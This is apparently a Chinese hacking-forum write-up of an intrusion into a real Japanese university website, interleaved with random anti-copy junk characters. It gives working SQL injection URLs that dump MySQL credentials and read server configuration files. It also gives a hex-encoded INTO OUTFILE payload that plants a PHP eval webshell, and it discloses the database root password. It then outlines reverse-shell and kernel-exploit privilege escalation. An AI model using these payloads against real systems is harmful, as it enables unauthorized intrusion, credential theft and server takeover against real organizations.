入侵日本同志社大学技术分析# U5 }* @+ C, g' ~4 V9 Y( y( u
. Q7 j% p# |4 ^% y+ S
http://www.doshisha.ac.jp/chs/news/index.php?i=-16 z* b( B, E: [( ^$ ]$ p: z
然后联合查询,猜字段,查版本,查密码,读取文件…….就是各种查啊,语句是:6 w, A; @% r; W2 u
* h( n' }) _$ v+ |, \http://www.doshisha.ac.jp/chs/news/index.php?i=-1+union+select+1,@@datadir,3,load_file(‘/etc/httpd/conf/httpd.conf’),5,group_concat(DISTINCT+user,0x3a,password,0x3a,file_priv,0x3a,host),7,8+from+mysql.user
+ X, X8 G% L0 H: ]& J& s( M5 E, ~9 L I: i1 n) d/ i8 L$ o
+ @) @+ |: e+ Z4 X9 k
1 ?( U: U1 ?, F9 p9 @5 D5 K; ]. v//@@datadir为数据库文件路径 : h, g. Y% U" v7 P
( B5 N) f( E* U$ `9 f& e& k; J0 V6 F; l; W1 d- t
//load_file读取网站容器apache的配置文件 0 Q. f- ]0 W X0 y: l" q& K
* n2 z3 @5 |" O+ t
/ t# E: ?) n8 U3 J- w4 c//group_concat读取MySQL管理员的名字、密码、是否允许读写文件和允许登录的远程计算机
- a( H9 H Z. k4 q: w) O# Y3 [复制代码
! b( j, U% Z; {' Z, j; S p( X* t) v
虽然解得MySQL的root账户密码为mysql00,但是host为localhost,只允许本机登陆,所以用处不大。
5 w, Z+ ^/ }3 \3 @1 w! O4 l3 d
5 H6 Z. B* `8 G& c7 c) B$ t而且Apache的配置文件显示,服务器拒绝非该大学的ip访问/admin/和phpMyAdmin,所以即使爆出管理员账户密码也没用。
+ [3 j& o, ^8 q9 R6 d* F) z% m(大家对以上各种查和语句不太懂的可以参考以下文章:http://bbs.blackbap.org/thread-2243-1-1.html)$ I2 Z+ p e# h' I1 }% K
* K6 t5 g I7 y& U- b- f
前面load_file是因为发现了各文件夹权限限制的死,不允许外校ip登陆,所以就猜了一下apache的配置文件绝对路径为默认,后来发现还真的是默认的路径。8 U7 ~7 [6 o& \# x; n
如果知道怎么猜apache配置文件的路径的请参考以下文章:http://bbs.blackbap.org/thread-2242-1-1.html
6 K/ r2 j% e8 J( l! Y. ^9 g i
9 }( V& A |+ t) g! G5 M g既然已经知道了Apache的配置文件的内容,我们也就轻易知道了网站物理路径,路径为:/http/www/koho/
* [. H9 i7 G6 F虽然/admin和phpMyAdmin的目录都限制了,但是想了想,我们只要有注入点就可以可以写入shell了,因为php的GPC为off,怎么判断为off我就不说了。
3 r& L* g# w3 X% o: R" g( h直接写一句话:
1 C% V% [5 O; \' r) D3 w- f
4 T& n4 _$ n# e" J6 V0 phttp://www.doshisha.ac.jp/chs/news/index.php?i=-1+union+select+ 0x3C3F70687020406576616C28245F504F53545B27636D64275D293B3F3E,0x3c3f2f2a,3,4,5,6,7,0x2a2f3f3e+into+outfile+’/http/www/koho/english/engnews_img/aa.php’#2 U. @/ A& v( a5 k( f
& |" d) U& E0 p! a! g, b1 _
2 W+ }! s0 i+ _3 b' q
6 B0 M; s. Q/ H' v' z7 Y, _/ X) b
//最后的#是为了闭合前面的语句 1 e' N @1 V9 V7 m# f+ c1 J
4 K. ?, k+ ] z! r/ Z* X: M( N
! ]: W. C- f) ]7 y
/*其中的0x3C3F70687020406576616C28245F504F53545B27636D64275D293B3F3E
) c1 L: a! @% O$ t/ [ 1 s4 i" R( }1 ^8 G9 ^$ R$ R
6 @' N0 A& m) C# q' N7 S$ ^为一句话<?php @eval($_POST['cmd']);?>的HEX编码,不懂(HEX编码)的话Google一下就好*/
# m4 m N5 M" [& R
: D( V# U* d) `. G G5 Y+ `! C$ _5 S( G a( z3 O. O! a
//如果直接select 一句话 into outfile ‘路径’会提示字段数不同,所以select 1,2,3,4…来执行注入语句
- H8 Q7 [7 d( a: j0 v% c
- e; C. N' M `, a( l7 F2 T3 T$ z; P! N$ _5 W% G6 {
//后面的0x3c3f2f2a和0x2a2f3f3e分别为’<?php //’的和’?>’HEX因为select后面的3,4,5,6会被写入webshell中,可能会导致一句话执行错误
& ]7 {/ E# P1 g0 Q9 o//所以最后aa.php的内容就是”<?php @eval($_POST['cmd']);?><?php //3,4,5,6,7 ?>” ' } k9 W( \- r; P
复制代码
3 O3 U3 D6 C# @1 x. b: n' y4 X( C- {
HEX其实就是十六进制编码,不知道这个编码的话,去搜一下好了,HEX编码转换在线本地各种工具各种有
5 M! x5 ~* z7 h通过上述注入语句,我们就得到了一句话木马:
3 M1 h" f& }1 w3 e, l6 ` y, b8 b4 e8 s& Y* _
8 J: q+ ~- r4 K
. a2 ? H1 n2 g$ Q1 ~9 i) D' N! I) `
5 R2 i/ r, U' ?# h) c" s! d
1 h [9 p' t& k0 r' d( W, Yhttp://www.doshisha.ac.jp/english/engnews_img/aa.php
- c6 b: \" \ D, c% U' y/ O4 D复制代码
' ~( m ~$ Z) d
# U2 p# Q# H! ]) g6 _用菜刀连接,密码是cmd,如图所示:
: A! {4 G' ~1 s, [' ?/ ^- A! Y* k然后在命令提示行里看了一下,现在的权限是:; F' J; {6 {% X7 L& i b5 I
/ {, b: a- G4 n0 Q) i+ v0 K1 K$ j5 d之后按照惯例我看了一下/tmp/文件夹,发现/TMP/权限居然被禁掉了,很少有服务器禁掉这个文件夹的。% S a8 l8 {/ |3 {/ C
好在赋权给这个文件夹不需要root,直接执行赋权语句:
1 B7 l/ h9 p2 ^- a$ G' O8 J* i* a4 T+ a3 W2 Q
) V! s. `# W: ^1 |" s ~* o# ?
4 H( T7 n6 Q" ], W, {) B: W
8 }6 n4 @: X0 N1 O0 G1 B3 T' H3 [5 l: y5 a5 j3 C/ x3 w
chmod +x /tmp/
2 d1 ]& }; Q+ J5 }1 G: C复制代码
( \+ ~/ M( ^& a `# m
# c9 Y( @! G, L$ n. Q在这说一下,linux里面的文件夹跟文件一样,执行命令自然也可以按照像文件一样的执行
3 ?& ^- d- ?, x) v' h1 W: ~0 D) R然后就查了一下内核版本:
5 e. ]! n M0 ?" q- I& f. A. {8 @. {; \0 |- ~, R
1 f0 s, P) x; h
$ F' |$ j" f, J, M( i
$ P7 @4 k- F- M6 H& L4 Q0 o& E& d
. q* {0 T8 m( X* ?5 {uname-a $ s9 H* V s8 L7 n7 r0 Y) x
2 Q4 r9 b) `6 ~( b; [
/ v4 ?6 C. Z, U. D9 `, c//其实lsb_release -a
, C7 k1 a; p" s1 v; |$ ~复制代码
" ]" H( A! F% D8 a5 V9 I+ E9 K9 w" v; p
如图所示:2 _( |0 }9 \ S$ f% e
$ R4 n% n V! T6 S/ {+ W8 k _9 T
内核版本:linux mainz1 2.6.28-194.e15
1 X2 A; G/ ^5 n0 g5 \9 b系统描述为:Red Hat Enterprise Linux Server release 5.5 (Tikanga)/ `1 M" L0 e& t- b0 n( I! J7 d
查完了系统版本之后就去找找相应的提权脚本!~然后传到/tmp/文件夹$ _* N4 H) L# ~; p+ _/ G
* N6 q( ]; J* l/ H然后给予执行权限7 V1 l1 [. Y* U- c- f
一般我都是传上去c源文件,然后”gcc -o /tmp/程序 /tmp/C源码”这样,如果gcc不能用,在其他机器编译好了直接传上去其实也可以,就像这样
. g2 j( \; S% K' l4 Q) l% S4 s
% {0 l: w, u7 B7 v# o 7 X- {2 C; K* p8 H. F' `# Z X
r$ i; E% D* i }1 y 7 F9 x5 t& Q* r. Y; d2 h! s
( D& o9 _7 i: c; O2 _6 M% X \9 w
chmod +x /tmp/2.6.18-194
& K' X+ V; x m- e复制代码 然后直接执行!~" u1 V$ L- [+ _/ U; U
+ w: \8 i3 E1 h# U总结:
o4 O5 J. Z3 V) p3 x这个注入点的基本思路就是,发现MySQL账户为root,GPC设置为off,搞到了物理路径就直接写Webshell了 C( m/ E" g" I2 l9 _+ T
提权部分原理就是,本地监听端口,将对方机器反弹回cmdshell来,然后把和内核版本对应的EXP传上去,编译运行,得到root% B$ \) x6 S8 W; e4 M
0 x! Q- U; ^# C+ v
|